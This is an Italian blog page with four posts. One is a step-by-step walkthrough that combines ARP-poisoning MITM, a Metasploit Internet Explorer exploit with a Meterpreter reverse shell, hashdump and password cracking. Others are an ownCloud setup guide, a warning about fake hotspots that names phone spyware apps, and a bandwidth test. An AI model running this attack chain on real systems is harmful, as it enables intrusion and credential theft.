10/20/2012

All'attacco di Windows


Nuova Vulnerabilità in Internet Explorer. Ecco come ottenere username e password privati e prendere possesso dei PC altrui.

La recente pubblicazione di un Exploit che sfrutta una vulnerabilità 0day di IE, cioè non ancora resa pubblica. Tale vulnerabilità è presente nella funzione CMshtmlEd::Exec del file mshtml.dll del browser Microsoft sulle versioni 6, 7, 8, 9 e permette di eseguire comandi remoti all'interno del sistema Windows. Vediamo insieme come i "pirati" sfruttano questa falla.


INTERCETTARE IL TRAFFICO
Supponiamo di essere all'interno di una LAN con due PC, quello della vittima equipaggiato con Windows XP, che naviga su Internet protetto da Firewall e antivirus con indirizzo IP 192.168.85.170, mentre il PC aggressore con sistema GNU/Linux ed indirizzo IP 192.168.85.175. Essendo il PC vittima protetto da firewall l'aggressore non può collegarsi direttamente ad esso, ma deve sfruttare un BUG "client side", ovvero che va ad attaccare un client utilizzato dall'utente e non, invece, un servizio di sistema. Perché questo avvenga è necessario che il software client (nel nostro caso lo stesso browser IE), visualizzi un contenuto malevolo creato ad-hoc dall'aggressore, come ad esempio una pagina Web modificata all'occorrenza. Questo può avvenire in vari modi ed in particolare vedremo come un attacco di tipo ARP poisoning possa permettere di effettuare un MITM (Man In The Middle - "Uomo di mezzo")sulle connessioni di rete TCP. Le connessioni non avvengono direttamente tra il PC vittima e il Gateway che poi inoltre su Internet, ma vengono "intercettate" e modificate dall'aggressore. Per effettuare questa tipologia di attacco i Cracker utilizzano Ettercap, un tool pensato appositamente pet tale scopo. Il programma oltre a permettere al pirata di ricevere tutti i dati destinati al PC della vittima, grazie all'attacco di tipo ARP Poisoning, consente anche di modificare "on the fly" (al volo) il loro contenuto. L'aggressore sarà cosi in grado di modificare le risposte delle pagine Web inserendo al loro interno del codice malevolo. Per farlo occorre creare un nuovo "filtro" che si occupa di inserire il tag





 all'interno delle pagine Web di una risposta.




A questo punto l'aggressore deve "compilare" il filtro per renderlo successivamente utilizzabile da Ettecap:

etterfilter web.filter -o web.out

Inoltre abilita il fowarding dei pacchetti IP a livello kernel:

echo 1 > /proc/sys/net/ipv4/ip_foward

Infine esegue Ettercap fornendogli l'interfaccia di rete e l'indirizzo IP del PC vittima. In questo modo tutti i pacchetti saranno inoltrati verso la macchina:

ettercap -T -i eth0 -q -F web.out -M ARP /192.168.85.170/ //

Adesso tutto è pronto per procedere con l'esecuzione dell'exploit che ne sfrutta la vulnerabilità.


EXPLOIT
Per eseguire l'exploit l'aggressore utilizza Metasploit, mediante il quale, per prima cosa, genera le pagine modificate ad-hoc. Installato il software lo esegue con msfconsole e seleziona l'exploit da usare:

use exploit/windows/browser/ie_execcommand_uaf

Fatto questo imposta la porta ed il patch che risponderanno fornendo le pagine Web malevole.




L'aggressore sceglie di utilizzare un Payload basato su Meterpreter, uno strumento di attacco avanzato presente in Metasploit che, impostato come reverse shell, gli permette di baypassare il firewall e gli fornisce tutti gli strumenti necessari per sferrare l'attacco:

set PAYLOAD windows/meterpreter/reverse_tcp

A questo punto imposta l'indirizzo IP a cui si collegherà la reverse shell:

set LHOST 192.168.85.175

Infine esegue l'exploit con il comando exploit e non rimane (all'aggressore) che aspettare. Quando l'utente vittima visiterà qualche pagina Web, Internet Explorer in realtà si collegherà  alla macchine dell'aggressore ed avverrà l'esecuzione del codice malevolo.
Per l'aggressore è facile verificare tutto ciò in quanto appariranno numerose scritte all'interno di Metasploit. A Questo punto l'aggressore accede al Meterpreter:

sessions -i 1

Fatto questo, grazie alle tecniche di privilege escalation chiede di diventare SYSTEM, ovvero l'account dell'utente di sistema con i privilegi maggiori: getsystem. Nel frattempo si scollega temporaneamente alla sessione Meterpreter di riferimento, set SESSION 1, e lancia l'esecuzione del modulo con run. Il modulo di Metasploit hashdump restituirà all'aggressore una serie di linee cosi formate:

utente:id:LM HASH:NT HASH:::





A questo punto visualizzerà le HASH, ovvero le versioni cifrate delle password, per cui dovrà eseguire il crack.



CRACK DELLE PASSWORD
I sistemi operativi moderni non memorizzano le password di accesso al sistema in chiaro ma le cifrano. Al login il sistema esegue un confronto tra l'hash della password inserita dall'utente e quello memorizzato, che coincidendo permettono l'accesso al sistema. In questo momento l'aggressore non possiede le password di accesso, ma solo i relativi HASH, ovvero le password cifrate. L'unico modo per scoprire le password è quello di eseguire lo stesso algoritmo su una stringa iniziale e confrontarne il risultato. Tale operazione può essere eseguita mediante un dizionario oppure in modo incrementale provando tutte le password possibili. I sistemi Microsoft memorizzano queste informazioni con due algoritmi differenti: LM HASH e NT HASH. Nel primo caso la password viene memorizzata completamente in maiuscolo e l'hash è formato da due sottostringhe che prendono in considerazione la password a blocchi di 7 caratteri per un massimo di 2 blocchi. Nel caso di NT HASH la password invece può essere al massimo di 127 caratteri mantenendo anche le lettere minuscole e maiuscole. Per eseguire il password cracking l'aggressore utilizza il tool John The Ripper, un software (di cui abbiamo parlato molto) appositamente creato per effettuare questa tipologia di attacco. John The Ripper supporta entrambe le tipologie di HASH utilizzate dagli OS Microsoft e tutte e due possono fornire dati utili al suo scopo. Eseguendo JTR su un file contenente gli hash di windows, viene automaticamente utilizzato LM HASH:

john a

Per forzare JTR ad utilizzare NT HASH l'aggressore utilizza l'opzione format nel modo seguente:

john --format=nt a

Nel primo caso è possibile che vengano identificate più facilmente alcune tipologie di password, tuttavia bisogna poi individuare le lettere maiuscole e minuscole. Nel secondo caso invece l'aggressore otterrà le password formattate correttamente




È anche possibile utilizzare le Rainbow tables per recuperare più velocemente le password dagli hash grazie ad un attacco pre-computazionale.

10/15/2012

Una Nuvola in casa

Abbiamo già citato in alcuni post la possibilità di autocostruirsi un NAS servendosi di FreeNAS e di un vecchio PC o portatile, colgo anche l'occasione per ribadire che freeNAS bypassa i limiti del BIOS (che non necessita aggiornamento) supportando HDD in Terabyte senza alcun problema. Ma non è di questo che voglio parlarvi, nonostante l'argomento miri al risparmio sull'arte del far da se sfruttando le nuove tecnologie, è dunque di un sistema noto e sempre più diffuso che voglio consigliervi, il Cloud (Nuvola).



Il Web2 va in tale direzione, sempre più servizi come Dropbox, Ubuntu-ONE, Drive di Google e simili nascono per l'esigenza di epandere il proprio spazio e accedervi dovunque siamo e da differenti dispositivi sincronizzati. Quindi dalla nostra distribuzione preferita possiamo ottenere la nostra "nuvola" personale limitando lo spazio alla c apienza del disco e completamente gratis, cosi come per i già citati che offrono spazio variabile di qualche GB ma che nell'esigenza di espandere lo spazio il servizio è a pagamento. Creare il proprio Cloud non è cosi difficile e ci consente di realizzarlo nel migliore dei modi con tanto di gruppi di utenti per l'accesso. Conosco persone che per vari servizi si servono di server per gli usi più comuni alle proprie esigenze, altri che visto i costi mensili cercano di condividere le spese per uso comune, altri ancora che vedono crescere i costi di gestione per il volume sempre più maggiore richiesto. Il Cloud a casa non richiede nessun costo aggiuntivo, i limiti sono del volume stesso del disco e della banda disponibile,  ed è molto interessante. Quello che serve per realizzarlo è un computer con OS Linux installato, se abbiamo la nostra macchina con Ubuntu andrà benissimo ed è proprio con questo che andremo a vedere come fare  i vari passaggi per poterlo realizzare. Nella nostra macchina dobbiamo servirci di owcloud  il quale è una sorta di CMS con cui è possibile realizzare la nostra "Nuvola" sebbene l'installazione da "zero" non ve la consiglio per il tempo che dobbiamo impiegare nell'operazione, mentre un aiuto lo possiamo ricavare da BITNAMI. Sicuramente avete già sentito parlare di bitnami, pacchetti che semplificano la realizzazione di portali Web direttamente sul computer di casa offrendo un pacchetto server funzionante in locale, utilissimo per progettare, realizzare e testarne il funzionamento, ma non è solo questo quello che fa, infatti è proprio grazie a bitnami stack che eseguiremo un installazione semplificata da script senza dover preoccuparci dell'ambiente LAMP installato e configurato (piattaforma server). Come vedrete dalla pagina di download è possibile usare ownCloud anche su virtualizzazione nel modo più semplice e perfettamente funzionante, ma per ora procediamo con la più semplice installazione con bitnami.



Scaricate quindi il pacchetto: bitnami-owncloud-XXX-linux-installer.run, apriamo un terminale (CTRL+ALT+T) e dirigiamoci nella cartella del pacchetto scaricato, quindi diamo i permessi di esecuzione con:
sudo chmod +x bitnami-owncloud-4.0.7-0-linux-x64-installer.run 
(versione al momento della scrittura di questo testo, cosa che comunque vi aiuterà premendo il tasto TAB dopo l'inserimento dei primi caratteri di bitnami).

 A questo punto lo lanciamo:

  ./bitnami-owncloud-4.0.7-0-linux-x64-installer.run 

 Avanziamo con il WIZARD che ci accompagnerà nell'installazione e configurazione, facile e intuitiva.


Scegliamo la cartella dove installare ownCloud, nella home utente nel nostro esempio, quindi clicchiamo next e andiamo avanti, configuriamo l'amministratore dando username e password, un nostro indirizzo @mail valido e di nuovo next, a questo punto configuriamo la porta database MySQL, questa operazione possiamo lasciarla predefinita con la porta 3306 se non siamo molto esperti e non sappiamo quello che facciamo, quindi dobbiamo cliccare di nuovo su next e configurare la posta di uscita con l'indirizzo @mail dato in precedenza e relativa password.



A questo punto, inseriti i parametri di configurazione, l'installazione avrà inizio e richiederà il tempo necessario variabile secondo l'hardware, al termine cliccando su FINISH avremo la nostra Nuvola disponibile e funzionante. Abbiamo quasi finito, adesso non rimane altro che rendere accessibile il Cloud dall'esterno configurando il router nei vari servizi disponibili, questa operazione però varia in base al proprio Provider e abbonamento, chi ha già un indirizzo IP pubblico non deve far altro che instardare sulla porta 8080 il proprio Cloud, mentre chi ha IP dinamico dovra configurare su servizi come NO-IP, DynDNS e analoghi, un personale indirizzo, quindi anche su router nella configurazione DynamicDNS impostando il dominio servizio, indirizzo impostato e porta 8080.



Siamo quasi a fine, anche se ci vuole più a scrivere questi passaggi che a realizzarli, quindi proseguiamo aggiungendo i repository necessari, con l'esempio riportato su una distribuzione Ubuntu dovremo aprire un terminale e digitare da utente root (quindi comando su password) quanto segue:
echo 'deb http://download.opensuse.org/repositories/isv:ownCloud:community/xUbuntu_12.04//'>> /etc/apt/sources.list

Quindi dare invio. Diamo adesso un

 sudo apt-get update

 e al termine installiamo il client con

sudo apt-get install owncloud-client

e appena finita l'installazione cerchiamo dalla Dash il software appena installato, lanciamolo e compiliamo i parametri con

https:// 192.168.1.X:8080/owncloud 

spuntiamo Use secure connection quindi nome amministratore per ownCloud e relativa password, quindi proseguiamo.
A questo punto la connessione con il server avrà inizio, se tutto è andato per il giusto verso vedremo la voce Connected e sarà creata la directory di sincronizzazione chiamata owncloud nella nostra home. Possiamo adesso creare nuove cartelle di sincronizzazione cliccando sull'icona a forma di nuvola in alto a sinistra, scegliamo la cartella da sincronizzare (in upload) cliccando su Scelta e quindi proseguiamo.
La nuova schermata selezioniamo l'opzione al tuo ownCloud e indichiamo in cartella su ownCloud un nuome per la nuova directory che verrà creata su server, cosi facendo riconosceremo subito i file caricati dal nostro PC e terminiamo con Finish. È il momento di WEBDAV, quindi installiamolo con

sudo apt-get install davfs2

Al termine lanciamo il comando per riconfigurare

 sudo dpkg-reconfigure davfs2 

e quando appare l'interfaccia grafica scegliamo SI e confermiamo con invio.
Adesso possiamo aggiungere gli utenti autorizzati a connettersi al Cloud server utilizzando WebDAV semplicemente lanciando da terminale il comando

sudo usermod -aG davfs2 nomeutente

Ancora qualche ottimizzazione e siamo alla fine.
Modifichiamo il file fstab per far si che la partizione del server Cloud possa essere montata in automatico, editiamo quindi il file con

sudo gedit /etc/fstab

e aggiungiamo la seguente stringa:


percorso_Cloud/files/webdav.php/home/nomeutente/owncloud davfs user,rw,noauto 0 0

spostiamoci nella home del sistema e creiamo qui due directory, una denominata cloud e l'altra devfs2 e all'interno di quest'ultima creiamo un nuovo files secrets contenente la riga

 percorso_cloud/files/webdav.php

seguito da username e password di accesso.
Torniamo adesso al nostro terminale e lanciamo il comando

chmod 600 ~/.davfs2/secrets 

per settare i permessi del file appena editato, infine lanciamo

mount ~/cloud

per montare il nuovo spazio disco che sarà la nostra Nuvola vista come disco locale. Come detto ad inizio owncloud assomiglia ad un CMS e come tale offre strumenti per configurazioni avanzate e plugins vari per funzioni aggiuntive, come ad esempio i nomi link corti rendendoli più brevi e semplici. Tra le funzioni aggiuntive è quasi d'obbligo rendere il nostro Cloud da privato a pubblico, quindi dalle impostazioni alla voce utenti è possibile aggiungere amici o chi volgiamo, aggiungendolo al gruppo user e impostando da Quote lo spazio massimo utilizzabile dall'utente appena creato.
Spostiamo il cursore accanto al nome file che vogliamo condividere e clicchiamo su condividi, compiliamo il campo User o Group con il nome dell'utente e quest'ultimo si troverà il file condiviso sull'area personale nella cartella share.
Ovviamente è possibile condividere file con utenti esterni al proprio Cloud, basta inviare il relativo link via @mail, per farlo clicchiamo su Condividi e selezioniamo Share with private link, a quel punto avremo il link creato al relativo file, inseriamo in basso l'indirizzo @mail e clicchiamo su Send, difficile? NO dai! Più a spiegarlo che realizzarlo.
Abbbiamo cosi il nostro Cloud in locale ma anche disponibile per l'esterno, condivisibile con chi vogliamo e impostato da noi per ogni esigenza. Ci sono poi anche altre applicazioni interessanti associate ad ownCloud, la stessa scaricabile per Android (presente anche per iPhone) oppure un analoga app scaricabile da Play Store gratuitamente.... sto parlando di WebDAV File Manager.



Questo per il momento è tutto e per approfondimenti vari o supporto contattatemi pure e non sottovalutate l'idea del NAS realizzato a casa, torno al discorso iniziale ma se ve lo dico un motivo ci dovrà pur essere no!? Ho sentito dire cose assurde, ad esempio come un vecchio PC può gestire dischi di Terabyte, ma come detto ad inizio è la stessa freeNAS che bypassa i limiti del BIOS rendendovi un sistema stabile e veloce, basato su Unix e completamente free, non i vari NAS da 300 euro con parti di codice Closed.... pensateci, chissà cosa si potrebbe fare con un NAS ed un Cloud. Volendo provare la demo di ownCloud possiamo testarla direttamente da QUI.










9/06/2012

ATTENTI ALLE TRAPPOLE


Andando avanti le tecnologie migliorano, ma cambiano anche le tecniche e strategie dei Cracker, cosi come i servizi si fanno intensi più il loro compito è semplice. Cerchiamo però di rendere meglio l'idea. L'era degli Smartphones, iPhone e tablet fanno si che aumentino gli utenti che necessitano di un punto di accesso, ed è cosi che per mantenersi clienti ed acquisirne dei nuovi, le più svariate attività commerciali e non offrono servizi ampliando le proprie reti wireless, cosi come in molti Comuni vengono sviluppate reti pubbliche, come ad esempio nella mia città dove il ptlug sta facendo un ottimo lavoro.... facile capire adesso dove vivo. ;) Ho sempre detto che si deve prestare molta attenzione alle reti pubbliche o condivise e continuo a dirlo, è preferibile accedere al Web per leggere notizie in genere, navigazione Internet ma senza dover accedere a proprie postazioni remote, server, Mail o account vari come Twitter e Social Network in genere, questo per il semplice fatto che possiamo diventare vittime di Cracker che vogliono impadronirsi dei nostri dati di accesso e violare cosi la sicurezza con cui l'esperienza ci ha insegnato essere importante sebbene sono ancora molti gli utenti che non gradiscono impostare password utenti o di vitale importanza, dell'amministratore. Detto questo voglio illuminarvi su alcune tecniche di "tendenza" grazie appunto ai nuovi servizi offerti e soprattutto alle nuove tecnologie, metodi che non richiedono sforzi enormi ne conoscenze approfondite in materia, disponibili per qualsiasi dispositivo. Partiamo dal più semplice e facilmente reperibile, non vi starò ad elencare la piattaforma usata ne come usare Wireshark, ma se avete letto l'articolo di questo tool non vi sarà difficile immaginare il resto. Questo lo dico per il semplice fatto che per eseguire una cattura dei dati non è necessario un computer ne una distribuzione come la BackTrack, ma un semplice smartphone o iPhone. La tecnica consiste nell'ingannare gli utenti facendogli credere che esistono punti di accesso liberi, quindi una volta collegati, tentando l'accesso al proprio profilo Twitter o Social Network, in realtà non fanno altro che trasmettere dati pacchetto ai dispositivi trappola dove in seguito analizzando i pcap (pacchetti catturati) mostreranno i dati utente e quindi offrendo su un piatto d'argento i tanto protetti dati di accesso. Creare falsi punti di accesso è semplicissimo, basta creare una rete ad-hoc, quindi lanciare un app che consente la cattura dei dati, app gratuite come Shark root per Android, una volta catturati i pacchetti non ci rimane che analizzarli in seguito sul computer oppure usare un analoga app come Shark reader per visualizzarli nell'immediato ed eseguire cosi l'accesso. Questa trappola è semplice da realizzare, lasciando collegare l'utente non si accorgerà di nulla sebbene possa a sua volta prendere nota del MAC dispositivo e quindi con qualche escamotage e molta fortuna, risalire a chi crea la trappola, in particolare se questa viene eseguita da persone di nostra conoscenza che vogliono ficcare il naso sui propri affari... ad esempio un partner geloso che vuole sapere con chi chattiamo e cosa condividiamo con amici e conoscenti, anche se per i partner gelosi esistono app specifiche che non consentono la cattura dei pacchetti e dati di accesso ma addirittura dove ci troviamo, con chi messaggia in sms e lo stesso testo degli sms che inviano e ricevono simultaneamente oltre al numero del cellulare del mittente e completo ovviamente, una app del genere deve però essere installata sul dispositivo della vittima in pochi e semplici, nonché veloci passaggi, l'app non verrà visualizzata e per rimuoverla ci dobbiamo collegare al "market" e procedere con la rimozione, nel dubbio che qualcuno l'ne sia vittima basta cercarla su Play Store, quando trovata se non compare la voce "acceta e scarica" ma "disinstalla" ne avrà conferma. Un app simile è SMS Tracker Agent ed è free, mentre un altra GPS SPY Plus è invece a pagamento (€ 4,00) e offre servizi aggiuntivi al prezzo di € 1,00 cadauno, ad ogni modo questo è un altro articolo. Adesso che ne sapete di più fate attenzione e rifletteteci prima di eseguire un accesso che richieda dati personali del vostro account su reti libere e condivise, potreste ritrovarvi intrappolati.



Shark Root e Shark Reader






SMS Tracker Aget e GPS SPY Plus

6/19/2012

Verifichiamo eventuali Filtri al Provider con Shaperprobe

Shaperpbobe, questo è il nome del pacchetto che ci servirà per eseguire un analisi della propria banda, se sono adottati filtri che limitano il traffico verso i siti in condivisione. Il tool non richiede installazione e non andrà ad appesantire il Sistema. I requisiti sono un computer con Linux in ogni sua distribuzione, lanciando il terminale eseguiremo le analisi subito dopo aver eseguito il download del pacchetto, scompattato e compilato con un semplice MAKE (la configurazione non serve). Vediamo quindi di inserire nel terminale il comando che scarica l'applicazione con:

wget http://www.cc.gatech.edu/~partha/diffprobe/shaperprobe.tgz

eseguito il download scompattiamo:

tar xvf shaperprobe.tgz

quindi entriamo nella cartella creata alla scompattazione con:

cd shaperprobe

e compiliamo:


make

a questo punto non ci resta che lanciarlo con:


./prober

nei successivi 2 minuti e mezzo verranno eseguiti i test e analisi per la banda in uso. Ovviamente per avere informazioni sulla velocità e banda disponibile è bene eseguire il test senza avere client bittorrent attivi o altri come emule e cosi via, se ci sono client attivi non possiamo ottenere dati precisi. I filtri e limitazioni in genere (shaper), se si trovano possiamo vederlo dal resoconto Upstream e Downstream come da figura che in tal caso evidenzia No Shaper Detectd, è comunque utile eseguire il test in vari orari del giorno.